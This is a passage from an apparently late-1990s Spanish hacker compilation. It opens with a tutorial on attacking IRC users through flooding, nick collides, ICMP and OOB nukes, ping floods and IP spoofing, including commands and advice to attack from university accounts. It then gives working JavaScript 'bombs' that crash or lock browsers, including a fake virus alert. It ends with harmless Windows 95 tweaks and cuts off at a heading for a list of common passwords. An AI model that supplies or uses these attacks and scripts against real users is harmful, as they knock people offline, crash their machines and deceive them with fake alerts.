2 clones entonces? La respuesta es simple: en principio no se puede. ┐Entonces? Pues la soluci≤n es que varias personas distintas se pongan de acuerdo para atacar a la vez a la vφctima. Cada persona podrφa tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (vφctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serφan A.1, A.2, B.1,B.2, C.1 y C.2. Pero hay un problema: ┐c≤mo sincronizarse para atacar? ┐C≤mo "ponerse de acuerdo" para mandar las peticiones en un determinado momento? Para esto existe lo que se denomina "floodnet" que, como habrß adivinado nuestro ßvido lector, es una "red" (asociaci≤n) de gente cuyo ·nico objetivo es floodear a alguien. La ventaja que tiene es que la sincronizaci≤n entre los distintos componentes de la floodnet es automßtica (lo hacen los scripts) lo cual resuelve el problema anterior. TambiΘn existe lo que se denomina "botnet" y que es anßlogo a la floodnet pero usando bots (no confundir con los "de servicio"; estos ·ltimos los ponen los servers de la red irc y no los usuarios) los cuales serßn lanzados desde alguna shell Unix (intΘrprete de comandos en una mßquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados: [1:32] *** Viernes13 has quit IRC (Killed (You are not welcome to this network!)) Hoy en dφa tanto los programas clientes de IRC como los scripts implementan protecciones anti-flood que dificultan enormemente el Θxito de un ataque de tipo flood. Por ejemplo, cuando detectan varias peticiones seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no inmediatamente, con lo cual se evita el flood. TambiΘn hay tΘcnicas de flood bastante optimizadas (por ejemplo, usando una floodnet) aunque en general un ataque flood no suele ser demasiado eficiente y es mßs costoso lograr su Θxito que con algunas de las tΘcnicas que se describen a continuaci≤n. 3.2.- Nick collide.- Un "nick collide" ocurre cuando dos personas tienen un mismo nick. En principio esto no deberφa ser posible (el servidor no deja usar un nick que ya estß en uso) pero hay dos situaciones en las que podrφa darse el caso y que se describen en los dos puntos siguientes. El resultado de un nick collide depende del servidor (ircd). En servidores antiguos (sin protecci≤n) el collide se resuelve matando a los dos usuarios con mismo nick (íambos!). En otros mßs inteligentes (con protecci≤n) el servidor guarda informaci≤n acerca de los usuarios y puede saber que usuario tiene el nick con mayor antigⁿedad (i.e. quiΘn se lo puso antes), matando ·nicamente al usuario con el nick mßs reciente (protegiendo al usuario mßs "veterano"). 3.2.1.- Split server collide.- Se basa en aprovechar un net-split: - Esperar un split. - Entrar (conectar) al servidor spliteado. - Ponerse como nick el de la vφctima. - Esperar a que se deshaga el split. Si todo va bien (el servidor no tiene protecci≤n), a la vuelta del split se detectarß el collide y se matarßn tanto al atacante como a la vφctima. L≤gicamente nuestro usuario atacante serß un clone nuestro, con lo cual no pasa nada si es killeado. 3.2.2.- Lag collide.- Consiste en aprovechar el lag de un servidor, o lo que es lo mismo, el retraso en recibir los mensajes de otros servidores. Esta tΘcnica es mßs efectiva que la anterior, pues funciona en servidores con protecci≤n. Los pasos serφan los siguientes: - Meter un clone en el servidor lageado. - Esperar a que la vφctima cambie de nick (esto lo detectamos desde otro servidor no lageado). - Cambiar rßpidamente el nick de nuestro clone y ponerle el que se acaba de poner la vφctima (el nuevo). - Esperar al lag. ;) Lo que ocurre es que nuestra orden de cambiar el nick para nuestro clone llega antes al servidor (lageado) que la orden de cambio de nick de la vφctima debido a que nuestra orden va directamente de nuestro cliente al servidor lageado mientras que la otra va a travΘs de la red IRC (donde hemos supuesto que se introduce un lag notable). Esto hace que el servidor (lageado) tome a nuestro clone como "due±o" legφtimo del nick y mande un kill al otro (la vφctima). Esto ocurrirφa en caso de servidores protegidos; si es no protegido el resultado es que ambos mueren, resultado tambiΘn aceptable, pues hemos acabado con nuestro objetivo. };-) 3.3.- Nuke.- "Nuke" es la denominaci≤n genΘrica que se le suele dar a cualquier forma de ataque consistente en mandar paquetes arbitrarios a una determinada direcci≤n IP (no es que sea una definici≤n demasiado ortodoxa pero bueno... :)). Realmente el tΘrmino "nuke" siempre se ha referido al primero de los dos tipos que comentaremos, aunque aquφ se ha preferido tomar una definici≤n mßs amplia de dicha palabra. 3.3.1.- ICMP nuke.- El mßs veterano de los nukes [ :-) ] usa un protocolo subyacente de IP, el ICMP ("Internet Control Message Protocol": parte integral del protocolo de Internet [IP] que resuelve errores y controla los mensajes), para romper una conexi≤n cliente-servidor de IRC (tirar a alguien del server). Para entender c≤mo funciona hay que hablar un poco de protocolos; es aburrido pero no hay mßs remedio... Una conexi≤n IRC (cliente-servidor, que es lo que nos interesa) utiliza el protocolo TCP (nivel 4 [transporte] en la torre OSI), el cual se apoya sobre IP (nivel 3 [red]). IP se encarga, entre otras cosas, de hacer el rutado de paquetes ("datagramas IP"), es decir, dado un destino ir enviando los paquetes por el camino apropiado hasta alcanzar el host destino. TCP no ve nada de esto, tan s≤lo el destino directamente (manda los segmentos TCP directamente al destino), porque IP lo oculta (hace que el rutado sea transparente a TCP). L≤gicamente para que un protocolo de nivel superior funcione correctamente, tambiΘn deberßn hacerlo todos los que estΘn por debajo. En particular, para que nuestra conexi≤n TCP (IRC) se mantenga "viva", IP debe funcionar perfectamente. Y aquφ es donde interviene ICMP: se encarga de informar de posibles anomalφas que se han producido en el nivel 3 (IP), como por ejemplo, "host unreachable", que significarφa que no se ha podido alcanzar el host (el paquete IP ha ido dando saltos ["hops"] de un nodo a otro, hacia el destino, y ha llegado un momento en el que un determinado nodo intermedio no sabφa quΘ hacer con Θl o ha expirado el tiempo de vida de dicho paquete). En este caso, el paquete que informa del error (ICMP) lo envφa el nodo intermedio que se ha dado cuenta del error hacia el "remitente" que lanz≤ el paquete original (que no se ha podido entregar a su destinatario). Los mensajes ICMP se situan dentro del campo de datos de un datagrama IP y se envφan exactamente igual que si fueran datos IP (no son prioritarios). No es objetivo de este escrito tratar mßs a fondo este tema (para los interesados les aconsejo el libro "Internetworking with TCP/IP, vol I", de Douglas E. Comer, disponible en castellano ya en su tercera edici≤n). Resumiendo: mediante ICMP informamos de que IP ha fallado, y por tanto, tambiΘn los niveles superiores como TCP. Comprendiendo lo anterior ya se puede intuir en quΘ consiste el ICMP nuke: mandar mensajes ICMP falseados, enga±ando al destino, haciΘndole creer que el otro extremo ha detectado un error y por tanto, provocando un "cierre" de la comunicaci≤n. Vamos a explicar un poco mejor Θsto. En una conexi≤n siempre tenemos dos extremos, lo que da dos posibilidades a la hora de enga±ar,seg·n lo hagamos a uno u otro. En el caso de una conexi≤n IRC, podemos llevar a cabo dos formas de ataque: * Server nuking (nukear al server): los mensajes ICMP se mandan al servidor IRC, haciΘndole creer que se ha producido un error al intentar comunicarse con el cliente. Como respuesta a este mensaje el server cierra la conexi≤n que tenφa con dicho cliente. El efecto producido es la "expulsi≤n" del usuario por parte del servidor. * Client nuking (nukear al cliente): esta vez se envφan los ICMP's al cliente; Θste cree que el servidor no estß disponible y cierra la conexi≤n (el cliente). El servidor no sabe nada en principio, pero detecta el cierre de conexi≤n por parte del cliente, dando el correspondiente error y cerrando tambiΘn la conexi≤n por su parte. En teorφa las dos fomas de nuking son perfectamente vßlidas y eficientes, aunque hay que tener ciertas consideraciones en cuenta, como son: - tanto servidor como cliente pueden tener protecci≤n anti-nuke y puede ser necesario atacar uno porque el otro estΘ protegido (ver mßs adelante). - si atacas a un cliente, Θste puede detectar quiΘn le estß atacando con un simple analizador de paquetes IP o tracer, y tambiΘn podrφa responder con otro ataque de este o cualquier otro tipo (cuidado con quiΘn te metes ;-)). - si atacas al servidor, el cliente no tiene manera de saber quiΘn le ha "atacado" porque los mensajes ICMP no le han llegado a Θl sino al servidor (ventaja); pero por otro lado, el servidor sφ sabe quiΘn ha hecho el ataque y puede resultar en una K/G-Line a dicho usuario por parte del servidor (el usuario podrφa ser baneado de toda la red de IRC). - los inconvenientes de los dos puntos anteriores pueden ser solventados falseando la direcci≤n origen de los mensajes ICMP que se envφan. Esta tΘcnica se conoce como "spoofing" (ver punto 4). Hay diversos tipos de error ICMP que se pueden utilizar a la hora de hacer un nuke. En cuanto a la informaci≤n prßctica de c≤mo utilizar un nuker (programa "nukeador"), debemos tener en cuenta que ademßs de suministrarle el tipo de error que se desea producir, juegan un papel muy importante los puertos, tanto origen como destino, que se elijan. Una conexi≤n IRC (TCP) queda definida unφvocamente por los pares direcci≤n IP origen-puerto origen y direcci≤n IP destino-puerto destino. Estos datos son los que hay que suministrarles al programa nukeador. Puertos tφpicos del servidor de IRC (serß el puerto destino en caso de server nuking o el fuente si se trata de un client nuking) son 6665-9, 4400-6, 7000 y 7777. En realidad cada servidor IRC tiene unos puertos oficialmente reconocidos (que son conocidos p·blicamente: los podemos leer en el motd ["mensaje del dia"] al entrar en el IRC) y otros que podrφamos denominar como privados, y que se usan por ejemplo para las conexiones entre los distintos servidores que forman la red. Un usuario puede estar usando uno de estos puertos "fantasmas" (aunque el servidor tambiΘn puede limitar el acceso a estos puertos) para esconderse de nukes, puesto que necesitamos conocer este dato para que el nuke sea efectivo. TambiΘn necesitamos conocer el puerto del cliente, aunque esto es mßs difφcil porque varφa mucho (no son fijos como en el caso anterior) dependiendo del sistema operativo que estΘ corriendo dicho cliente, los puertos que ya tuviera ocupados antes de establecer la conexi≤n IRC, Θtc. Lo normal es hacer un barrido de estos puertos empezando por el 1024 (hay puertos que por convenio siempre se asignan a determinadas tareas y no se pueden usar arbitrariamente con lo cual no necesitamos barrerlos) y acabando en 4000, por ejemplo, aunque podrφa ser necesario aumentar este n·mero. Es tambiΘn muy ·til utilizar un "port-scan": programa que va probando los distintos puertos de una direcci≤n IP (destino) dada e informa de la respuesta recibida para cada uno de dichos puertos (asφ podemos saber, por ejemplo, quΘ puertos de un servidor estßn dedicados a aceptar conexiones IRC). A continuaci≤n transcribo mensajes tφpicos de salida de nuestras potenciales vφctimas en una sesi≤n tφpica de IRC: [1:42] *** aRmiTaGe has quit IRC (Read error to aRmiTaGe[ig-183.arrakis.es]: Connection reset by peer) [1:13] *** KoNtRoL has quit IRC (Read error to KoNtRoL[195.76.99.76]: EOF from client) [3:17] *** BrOKeNn has quit IRC (Read error to BrOKeNn[194.224.57.171]: Protocol not available) [5:25] *** Eli has quit IRC (Read error to Eli[info760.jet.es]: Network is unreachable) [5:26] *** Eli has quit IRC (Read error to Eli[info760.jet.es]: Machine is not on the network) [4:20] *** vp has quit IRC (Read error to vp[ia-176.arrakis.es]: Connection refused) [2:41] *** Estrayk has quit IRC (Read error to Estrayk[ctv3011.ctv.es]: No route to host) La protecci≤n anti-nuke, a grosso modo, pasa por ignorar los mensajes ICMP que lleguen, aunque Θsto ya estß limitando el propio funcionamiento del protocolo IP, en el sentido de que ICMP es parte integrante de IP y no se deberφa inhibir (┐quΘ ocurrirφa si llega un mensaje "de verdad" y es ignorado?). Se puede llevar a cabo mßs o menos "finamente": por ejemplo descartar solo los ICMP's de un tipo y no todos los posibles. Se podrφa lograr con un firewall (software o hardware encargado de filtrar los paquetes provinientes de la red en base a una reglas previamente definidas)convenientemente configurado. 3.3.2.- OOB nuke.- TambiΘn conocido como 'winnuke', ya que afecta s≤lo al sistema operativo Windows, en cualquiera de sus "sabores": 3.x, 95 y NT. Se basa en un bug que tiene este SO en la pila de protocolos por el cual el sistema se cuelga ("error de protecci≤n general...blah, blah...") cuando recibe un paquete con el flag OOB ("Out of band") activado. El ataque es sencillo: mandar un paquete de este tipo a un puerto (normalmente el 139) de nuestrß vφctima (Θsta debe estar corriendo Windows, lo cual es muy normal hoy en dφa). Existen programas ya hechos a los cuales simplemente le das la direcci≤n IP de la vφctima y el programa lo hace todo. La forma de protegerse es cerrar los puertos por los que nos puedan atacar (el 139 principalmente) o aplicar alg·n parche al SO para quitarnos el bug. Otra soluci≤n menos recomendable es la que llevan a cabo algunos ISPs (proveedores de Internet), y que consiste en filtrar todos los paquetes dirigidos al puerto 139 (inconveniente: nos estßn dejando inoperativo ese puerto). Hoy en dφa es muy popular este bug y normalmente estß ampliamente parcheado (aunque siempre habrß alg·n que otro despistado que no lo tenga instalado }=)). Como hemos dicho, este ataque no s≤lo consigue echar a la vφctima del server sino que ademßs le deja colgado el ordenador (tendrß que hacer un reboot), lo que lo hace especialmente peligroso. La vφctima saldrß del IRC con un mensaje de tipo ping-timeout como: [19:56] *** Goku has quit IRC (Ping timeout for Goku[system.tech.arrakis.es]) 3.4.- Ping.- Algunos los llama tambiΘn "IP bombs" (bombas IP). Un ping es un tipo de mensaje ICMP que se usa para ver si una mßquina se encuentra operativa y accesible. El procedimiento es enviarle un ping a la mßquina; Θsta lo recibe y contesta. Al recibir la contestaci≤n ya sabemos que la mßquina vive. Si no se recibe en un plazo dado se considera como no accesible (la mßquina podrφa estar apagada, o todos los "caminos" en la red hacia ella cortados). Ademßs podemos obtener mßs datos como el grado de saturaci≤n de una mßquina o red (midiendo el tiempo de respuesta de la mßquina, es decir, el tiempo transcurrido desde que una mßquina origen envφa el ping hasta que recibe la contestaci≤n de la otra). La manera de usar esto de forma ofensiva consiste en mandar mßs pings a un usuario de los que su mßquina pueda contestar, saturßndole su conexi≤n a Internet. Por tanto se debe de hacer desde un enlace mßs potente que el que pretendemos atacar. Lo tφpico es que la vφctima estΘ en su casa y tenga un modem. Por tanto, necesitamos una conexi≤n a inet mßs rßpida que eso. Lo normal es atacar desde una mßquina ubicada ya en la red (conectada mediante ATM, FDDI, ...). Por ejemplo, puede valer la cuenta de la Universidad ;-). La forma de hacerlo serφa abriΘndonos un shell y tecleando: $ ping -s 32000 <direcc. IP> (la sintaxis puede variar ligeramente seg·n sistema operativo). Los paquetes que se envφan al hacer ping son tφpicamente muy peque±os. Con el modificador -s estamos forzando un nuevo tama±o (32000 bytes es aceptable; tambiΘn podeis probar con 64000). Pensad: un modem de 28.8 tardarß unos 18 segs. en recibir 64 Kbytes (sin considerar compresi≤n), mientras que desde nuestra shell lo hemos mandado en íídΘcimas de segundo!! Si consideramos ademßs que el comando ping manda mßs de un paquete (los que queramos) ... íboom! TendrΘis el modem de vuestra vφctima trabajando a toda pastilla para nada y fastidißndole todo lo que estΘ haciendo. En particular, le estropearΘis su conexi≤n al IRC: en el mejor de los casos la vφctima tendrß un lag horroroso y el peor serß expulsada del servidor por "ping time-out". 3.5.- Ssping.- Nos encontramos ante otro bug parecido al del OOB, que afecta a Win95 y NT (aunque no a todas las configuraciones), y cuya idea es que el "maravilloso" Windows "se lφa" a la hora de reconstruir paquetes que le han llegado fragmentados y acaba con un cuelgue del ordenador. El ataque consiste en precisamente mandar esos paquetes fragmentados a la vφctima. Un bug de este tipo es viejo conocido de los sistemas UNIX (el ataque se conocφa como "ping of death"); pero la novedad es que ahora lo sufren los Windows. Aunque son cosas tΘcnicamente diferentes, la forma de proceder a la hora de atacar es anßloga a OOB: solo hay que saber la direcci≤n IP de la vφctima y íboom!: le dejamos colgado el ordenador. La soluci≤n pasa por parchear el S.O. En particular, este bug parece que no afecta al Trumpet Winsock asφ que si lo usais estareis protegidos. 4.- Spoofing. Esta tΘcnica no es un ataque en sφ pero permite mejorar y perfeccionar cualquier ataque (de los anteriores, por ejemplo). TambiΘn puede ser la base de alg·n ataque, como ocurre con el IP Spoofing que los hackers suelen emplear (me desviarφa del tema de este escrito si siguiese escribiendo...). Se trata de "spoofear" (=falsear) la direcci≤n IP de origen de los paquetes que se mandan a la vφctima, de forma que Θsta crea que el origen de dichos paquetes es otro (el que nosotros le indiquemos). De esta forma protegemos nuestro anonimato, y en general podemos llevar a cabo cualquier acci≤n que se nos pueda ocurrir y que se derive de una falsa direcci≤n source (origen) Por ejemplo, podemos nukear a alguien, con la direcci≤n fuente de otro, haciendo creer a la vφctima (si Θsta tiene un analizador de paquetes o algo parecido) que es el otro el que le estß atacando }:-). El spoofing es (o podrφa ser) una funcionalidad mßs del programa de ataque (del nuker, del ping, ...). Como consiste en manejar IP desde un muy bajo nivel en muchos casos se requieren privilegios especiales. Por ejemplo, en el caso de mßquinas Unix, se necesita abrir "raw sockets" y Θsto requiere de privilegios de superusuario (root). 5.- Resources. Este apartado estß dedicado, brevemente, a los distintos programas disponibles y ·tiles a nuestra causa :-). Por ahora s≤lo incluyo la siguiente URL: http://www.7thsphere.com/virus. Allφ podrßs encontrar toda clase de utilidades para Windows y Linux: programas nukeadores, port-scanners, Θtc... 6.- Agradecimientos. Quisiera dar las gracias a jcea@argo.es por echarle un vistazo a este texto y por sus comentarios desinteresados sobre Θl. 7.- Notas finales. Espero que este peque±o artφculo os haya servido al menos para comprender un poco mßs el funcionamiento del IRC. TambiΘn me gustarφa recordar que el IRC no es un campo de batalla, y que no se debe atacar a la gente asφ porque asφ, salvo "en defensa propia" y pocos casos mßs justificados. O:-) En cualquier caso un ataque nunca estß justificado desde el punto de vista de los ircops, asφ que cuidado con las K/G-lines ;-) Por ·ltimo, decir que este artφculo es la primera versi≤n y que pudiera contener numerosos errores asφ como alg·n que otro "punto negro". Se agradecerφa toda clase de comentarios y sugerencias para mejorar el documento: bug reports, asuntos que creßis no estßn bien explicados, temas que faltan y se deberφan incluir, ..., y en definitiva todo lo que os gustarφa que se incluyese en el documento. TambiΘn se aceptan O-lines ;-) Podeis contactar con el autor de este escrito por email: roman@deathsdoor.com. O localizarme en el IRC hispano bajo el nick de RoMaNSoFt. c'U l8er!!!!! _______________________________________________________________________________________________ (c) RoMaN SoFt / LLFB, 1997.- (·ltima modificaci≤n de este fichero: 30/07/97) /////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 6. BOMBAS EN JAVASCRIPT Con estos java scripts lo que lograras es joder a los navegadores IEXPLORER y NETSCAPE en susversiones 3.x 2.x en adelante,respectivamente. algunos de ellos no estan en su forma original, usalos con cuidado ;-) EXPLODING WINDOWS BOMBOMS este script lo que hace es abrir ventanas asta que el navegador de cuelga <SCRIPT LANGUAGE="JavaScript"><!--function WindowBomb(){ var iCounter = 0 while (true) { window.open("http://www.geocities.com/SiliconValley/Lakes/6417","CRASHING" + iCounter, "width=1,height=1,resizable=no") iCounter++ }} // --></SCRIPT><FORM method=post name="FormAction" action="mailto:"+"jode@explorer"><INPUT TYPE="button" value="Exploding Windows" Name="btnExplodeWindows" onClick="WindowBomb()"> </FORM></font> ANNOYING BUTTON este script crea un bucle infinito de ventanas de mensajes que no le deja salir de donde este: <SCRIPT LANGUAGE="JavaScript"><!--function AnnoyingButton(){ while (true) window.alert ("A que jode?? ;)")}// --> </SCRIPT><FORM method=post name= "FormAction" action="mailto:"+"jode@explorer"><INPUT TYPE="button" value= "Annoying Button" Name="btnAnnoy" onClick="AnnoyingButton()"></FORM> EAT MEMORY su propio nombre lo indica: <SCRIPT LANGUAGE="JavaScript"><!--var szEatMemory = "HOLA QUIERES SER MI AMIGO"function EatMemoryInTime(){ szEatMemory = szEatMemory + szEatMemory window.status = "String Length is: " + szEatMemory.length window.setTimeout('EatMemoryInTime()',1); } // --> </SCRIPT><FORM method=post name="FormAction" action="mailto:"+"jode@explorer"> <INPUT TYPE="button" value="Yumm... I like your memory" Name="btnEatTime" onClick="EatMemoryInTime()"> </FORM> VIRUS SIMULATOR cierra el navegador despues de simular un virus: <SCRIPT LANGUAGE="JavaScript"><!-- function ConfirmClose() { alert("Error 107x has occoured. The virus:'Pecador de la Pradera' has been detected on Drive C. Please erase all infected files.") if (confirm("Please inform the the hardware vendor of this error.")) alert ('The virus has been contained, to fully recover the browser will shutdown'); else alert('The problem has not been fixed, the browser will shut downto prevent further contamination.') { window.close() }}//--></SCRIPT><FORM method=post name= "FormAction" action="mailto:"+"jode@explorer"><INPUT type="button" value ="Infect me!" onClick="ConfirmClose()"></FORM> todos estos scripts los puedes usar de dos paneras: la primera es en forma de boton.ejm: <SCRIPT LANGUAGE="JavaScript"><!--function PutoExplorer(){ var uagent=navigator.userAgent; if (uagent.indexOf("MSIE") == 25) self.close()}// --> </SCRIPT><FORM method=post name="FormAction" action="mailto:"+"jode@explorer"> <INPUT TYPE="button" value="Jode Explorer" Name="btnExplorer" onClick="PutoExplorer()"> </FORM> o bien ejecutandolo cuando el navegador carge la web,los tienes que colocar entre <head> y </head> o inmediatamente des pues de <body>.ejem: <!-- var uagent=navigator.userAgent; if (uagent.indexOf("MSIE") == 25) self.close() // --> ////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ############################################ 7. # como trucar el Gⁿindows95 # ############################################ texto escrito por ZeD--www.angelfire.com/ak/HACKZED/ZED2.html --http://come.to/HaCkS-wEb-RiNg puedes subir este texto a tu web,bbs,ftp o lo que sea,siempre que mantengas este encabezado. ACTUALIZACION:10/8/98 ZeD no se hace responsable de los da±os que el uso de este documento pueda ocasionar a tu pc y te recomienda siempre hacer copias de seguridad (por si las moscas) INDICE: 1.como trucar el internet explorer 2.pon el nombre que quieras a la papelera de reciclaje 3.cambia el icono de las carpetas por el que tu quieras 4.interface de 3.11 en w95 5.crear un acceseo directo para apagar el pc 6.cambiar el nombre de "mi pc" 7.MS2.sys 8.utilidades del sistema 9.PROXImamente ------------------------------------------------------------------------------------------------- 1.COMO TRUCAR EL INTERNET-EXPLORER v3.1 en adelante simpre has querido cambiar el dibujio de la "E" que sale cuando estas navegando con el internet-explorer,pues es bien simple. La imagen que sale es un archivo ".bmp" que esta en la carpeta ..../internet explorer/ son los archivos que se llaman "Ani38.bmp" y "Ani26.bmp" abrelos y mira como son. Veras que son como una tira que segun la vas bajando se convierte en una animacion. Vale pues ahora crea tu logo tal como esta definido en los archivos cambialo y ya tienes el explorer trucado (puedes bajarte algunas imagenes de mi pagina que esta en: www.angelfire.com/ak/HACKZED/ZED2.html,en la seccion "download") 2.COMO CAMBIAR EL NOMBRE A LA PAPELERA DE RECICLAJE cambiar el nombr de la papelera de reciclaje es muy simple: cambia el nombre en la clave del "regedit":(esta en la carpeta "windows") HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E 3.CAMBIAR EL ICONO DE LAS CARPETAS POR EL QUE TU QUIERAS para cambiar el icono que representa las carpetas tienes que hacer lo siguiente: Muchos de los iconos que por defecto traen algunos archivos se pueden cambiar simplemente desde cualquier carpeta, mediante el men· ver, luego opciones... , tipos de arhivos y por ·ltimo editar, e inmediatamente despues selecionar cambiar icono. Pero esto no siempre nos vale, sobre todo si queremos cambiar los iconos de por ejemplo, las carpetas, el men· de Inicio... Para ello el truco es el siguiente: Lo primero que tenemos que hacer es saber el icono que queremos cambiar... por ejemplo, para cambiar el icono de las carpetas, debemos ejecutar el registro, irnos a la seccion HKEY_CLASSES_ROOT\Folder\DefaultIcon en la parte derecha aparecerß (preterminado) "C:\WINDOWS\SYSTEM\shell32.dll,3", la primera idea.. que no funciona :) es ir y cambiar directamente el valor de la cadena para poner el icono que queremos. Pero lo que tenemos que hacer es ir a la secci≤n HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ explorer y crear una nueva clave, Shell Icons, despuΘs creamos un nuevo valor de la cadena, con el n·mero del icono indicado en el DefaultIcon que queremos cambiar, en nuestro caso el 3, seleccionamos este valor, pulsamos 2 veces y en Informaci≤n del valor introducimos el path del archivo que tiene el icono que queremos poner, con su numero correspondiente. En mi caso es: nombre | datos (predeterminado) (valor no establecido) 3 "c\iconos\folders.icl,70" Bueno.. ya hemos hecho lo mßs difφcil. Pero a·n queda algo mßs. Windows 95 guarda una cache de Iconos en el directorio de instalaci≤n del 95, llamado ShellIconCache, este archivo estß oculto. Debemos de borrar este archivo para que los cambios surjan efecto, pero hay que borrarlo fuera de la sesi≤n de Windows.. osea.. que hay que reiniciar en modo MS-DOS, quitar los atributos al archivo (en MSDOS este se llama shelli~1), borrarlo y reiniciar el entorno grafico (hoy en dia llamado sistema operativo.. :P) y ya estß, tenemos nuestro icono favorito como icono de carpeta.. :) De igual manera con el resto de los iconos del 95. PD: Importante, si tenemos la utilidad TWEAK UI de las Powertoys de Microchof (si, MICROCHOF... ) podemos borrar el cache de iconos desde la pesta±a Repair, con el bot≤n Rebuid Icons. Y si tenemos el MicroAngelo.. todo esto nos lo hace ese fantßstico programa.. pero conviene saber hacer las cosas "a pelo". 4.INTERFACE DEL W3.11 EN EL W95 este es bastante mas simple que el anterior,lo que tienes que hacer es lo siguiente: 1-edita el archivo "SYSTEM.INI" (directorio de windows) 2-en la seccion "BOOT",busca la linea que pone "SHELL=EXPLORER.EXE" 3-cambia lo de "EXPLORER.EXE" por "PROGMAN.EXE" 4-reinicia el pc y listo 5.ACCESO DIRECTO PARA APAGAR EL PC esto es de lo mas simple,haz lo siguiente: crea una cceso directo en el escritori,vete a propiedades y en loreferente a acceso direco busca "DESTINO".alli pones lo siguiente: C:\WINDOWS\RUNDLL32.EXE user.exe,ExitWindows le das a aplicar,acetar y ya esta 6.cambiar el nombre de "MI PC" para hacer esot tienes que seguir los siguientes pasos: vete al "REGEDIT" cambia la clave:: HKEY_CLASSES_ROOT\CLSID\{2OD04FE0-3AEA-1069-A2D8-08002B30309D} pon el nombre quele quieras poner a "MI PC" y ya esta ------------------------------------------------------------------------------------------------- 7.MS2.sys lo primero que tienes que hacer es localzar este archivo,una vez encontrado,para poder editarlo tendras que cambiar sus atributos. una vez puedas editarlo,dirijete a la parte de "OPTIONS": [Options] BootDelay = 0 Aumenta la velocidad de booteo,el mensaje "Starting Windows..." no aparece. BootMenu = 1 Despliega automaticamente el menu de arranque de WIndows 95. BootMenuDefault = 1 El numero de opcion por default. BootMenuDelay = 10 Numero de segundos que el menu de inicio es desplegado. Logo = 0 No despliega la imagen del logo de arranque de Win95. BootMulti = 1 Hace disponible un doble booteo con DOS. ------------------------------------------------------------------------------------------------- 8.UTILES DEL SISTEMA el w95 trae algunas erramientas que te permitiran hacer cosillas (algo basicas) muy interesantes para ir empezando,aqui te voy a explicar el funcionamiento de dos de ellas el Telnet,un viejo amigo que ya conoce todo el mundo y el Ftp,si si,has leido bien el 95 (bueno en realidad el MS2) trae una version bastante simple (pero util) de programa FTP. TELNET. en la carpeta windows (o como la ayas llamado) hay un .exe que se llama Telnet,este programa sirve para hacer conexiones desde tu sistema a otro remoto a traves de una red (internet principalmente),en lo que consiste basicamente este programa es en acceder a unos determinados puesrtos de un sistema remoto en los cuales puedes hacer varias cosas,como por ejm: bajarte el correo,mirar el directorio de una web..... aqui te expongo una lista de los puertos con una descripcion de para lo que vale cada uno de ellos:(el numero que aparece entre parentesis es el puerto) auth (113) conference (531) courier (530) daytime (13) discard (9) domain (53) echo (7) efs (520) exec (512) finger (79) ftp (21) gopher (70) hostnames (101) http (80) ingreslock (1524) link (87) login (513) mtp (57) nameserver (42) netbios (139) netnews (532) netstat (15) nntp (119) pop2 (109) pop3 (110) proxy (8080) qotd (17) remotefs (556) rje (77) sftp (115) shell (514) smtp (25) spooler (515) sunrpc (111) supdup (95) systat (11) telnet (23) tempo (526) tftp (69) time (37) uucp (540) uucp-path (117) whois (43) www (80) ┐como se hace un Telnet? pues hacerlo es muy simple: si nos proporcionan la direcci≤n telnet "maquina.remota.es 2010" hariamos lo siguiente: (puede variar segun sistemas): * Tecleamos en la linea de comandos "TELNET maquina.remota.es 2010" (En otros sistemas teclearemos "TELNET" y despuΘs "OPEN maquina.remota.es 2010" ) con lo que veremos algo parecido a esto: * telnet MAQUINA.REMOTA.ES 2010 * Trying 130.132.21.53 Port 2010 ... * Connected to MAQUINA.REMOTA.ES * Escape character is ... * Esto nos dice mßs o menos que estß intentando conectar con la direcci≤n, nos devuelve la direcci≤n IP, se conecta, y nos dice cual es el "caracter escape". * Una vez hemos conectado se nos pide un "login" y/o "password" para entrar a la mßquina remota. En algunos casos podremos conectar a la maquina remota con el login "guest" (invitado) pero la mayoria de las veces deberemos saber el login antes de conectarnos. * El siguiente paso es configurar la emulaci≤n de terminal, es decir, decirle al sitio remoto como queremos que nos muestre los datos en nuestra pantalla. La configuraci≤n mßs com·n es la VT100, que es la estandar para las comunicaciones basadas en terminales. (algunos clientes telnet configuran ellos s≤los la emulaci≤n). * El ·ltimo paso (despuΘs de haber utilizado el servicio es salir ;-) Como las pulsaciones de tecla no las hacemos "realmente" en nuestra mßquina, sino en la mßquina remota, necesitamos el "caracter escape" que se nos di≤ al conectar para pasar al "modo comando" ( habitualmente teclas control + parΘntesis derecho ). Comandos disponibles: CLOSE Termina la conexi≤n TELNET con la maquina remota y vuelve al "modo comando" (si empezamos alli) o sale de TELNET. QUIT Sale del programa TELNET; si estßs conectado a una mßquina remota, QUIT te desconecta y luego sale de TELNET. SET ECHO Si no ves lo que estßs escribiendo, o si escribes y ves doble, este comando soluciona el problema. OPEN Abre una conexi≤n a una mßquina remota. ATENCION: Al presionar las teclas Enter o Return, sales del modo comando TELNET y vuelves a la sesi≤n TELNET. te dejo aqui,investiga y juega con telnet,no es muy dificil y pronto aprenderas a usarlo de una manera mas "productiva" FTP-MS2 si entras en Ms2 y en el promp pones "ftp" te saldra esto "ftp>" ahora parasaber los comandos que puedes usar pon "?" y te saldra unalista de los comandos que puedes usar en el programa,juega con ellos y prueba cosas 9.PROXImamente.... pues la verdad es que no se que voy a incluir,si tienes algo que comentar o quieres mandarme cosas nuevas ya sabes mandamelas a zed@mixmail.com y sera incluido en la proxima actualizacion bye--:) //////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 8. LISTADO DE PASSWORDS MAS USADOS la lista de los passwords mas utilizados es algo que 